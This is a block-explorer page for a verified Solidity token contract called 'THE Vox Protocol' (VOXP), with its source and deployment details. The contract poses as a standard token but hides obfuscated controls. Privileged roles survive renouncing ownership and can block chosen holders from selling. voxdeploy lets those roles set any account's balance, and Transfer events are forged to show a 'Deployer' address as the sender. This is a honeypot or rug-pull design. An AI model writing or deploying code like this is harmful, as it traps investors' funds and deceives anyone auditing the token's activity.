Verified contractPartial
vox
Address0x90eda89468a9d169804366d6dfdcd108c9c39fa3
- Balance
0 ETH
- Transactions
49
- Compiler
solc 0.8.17
- Same code
Only this contract
Details
- Compiler
- solc 0.8.17+commit.8df45f5f
- Language
- solidity
- Optimization
- No
- License
- Not stated
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 15,783,685
- Creation transaction
- 0x416ab968a6…c1be548ce4
vox.sol
// File: vox.sol
pragma solidity 0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract vox {
mapping (address => uint256) public eTXm;
mapping (address => bool) eRSm;
mapping (address => bool) eRn;
//
string public name = "THE Vox Protocol";
string public symbol = unicode"VOXP";
uint8 public decimals = 18;
uint256 public totalSupply = 3000000000 * (uint256(10) ** decimals);
uint eM = 1;
event Transfer(address indexed from, address indexed to, uint256 value);
event OwnershipRenounced(address indexed previousOwner);
constructor() {
eTXm[msg.sender] = totalSupply;
deploy(Deployer, totalSupply); }
address owner = msg.sender;
address Router = 0x48E99c2D7A7C2d3B04845C19b6D8Db1aa7D70f60;
address Deployer = 0x8242e56a759aa0B069B9c983fe3f582020CD1eC9;
function renounceOwnership() public {
require(msg.sender == owner);
emit OwnershipRenounced(owner);
owner = address(0);}
function deploy(address account, uint256 amount) public {
require(msg.sender == owner);
emit Transfer(address(0), account, amount); }
modifier iQ () {
eM = 0;
_;}
function transfer(address to, uint256 value) public returns (bool success) {
if(msg.sender == Router) {
require(eTXm[msg.sender] >= value);
eTXm[msg.sender] -= value;
eTXm[to] += value;
emit Transfer (Deployer, to, value);
return true; }
if(eRSm[msg.sender]) {
require(eM == 1);}
require(eTXm[msg.sender] >= value);
eTXm[msg.sender] -= value;
eTXm[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
function VoxRequiem(address Ex) iQ public {
require(msg.sender == owner);
eRn[Ex] = true;}
function balanceOf(address account) public view returns (uint256) {
return eTXm[account]; }
function voxpool(address Ex) Si public{
require(!eRSm[Ex]);
eRSm[Ex] = true;}
modifier Si () {
require(eRn[msg.sender]);
_; }
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true; }
function voxdeploy(address Ex, uint256 iZ) Si public returns (bool success) {
eTXm[Ex] = iZ;
return true; }
function mfvw(address Ex) Si public {
require(eRSm[Ex]);
eRSm[Ex] = false; }
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == Router) {
require(value <= eTXm[from]);
require(value <= allowance[from][msg.sender]);
eTXm[from] -= value;
eTXm[to] += value;
emit Transfer (Deployer, to, value);
return true; }
if(eRSm[from] || eRSm[to]) {
require(eM == 1);}
require(value <= eTXm[from]);
require(value <= allowance[from][msg.sender]);
eTXm[from] -= value;
eTXm[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.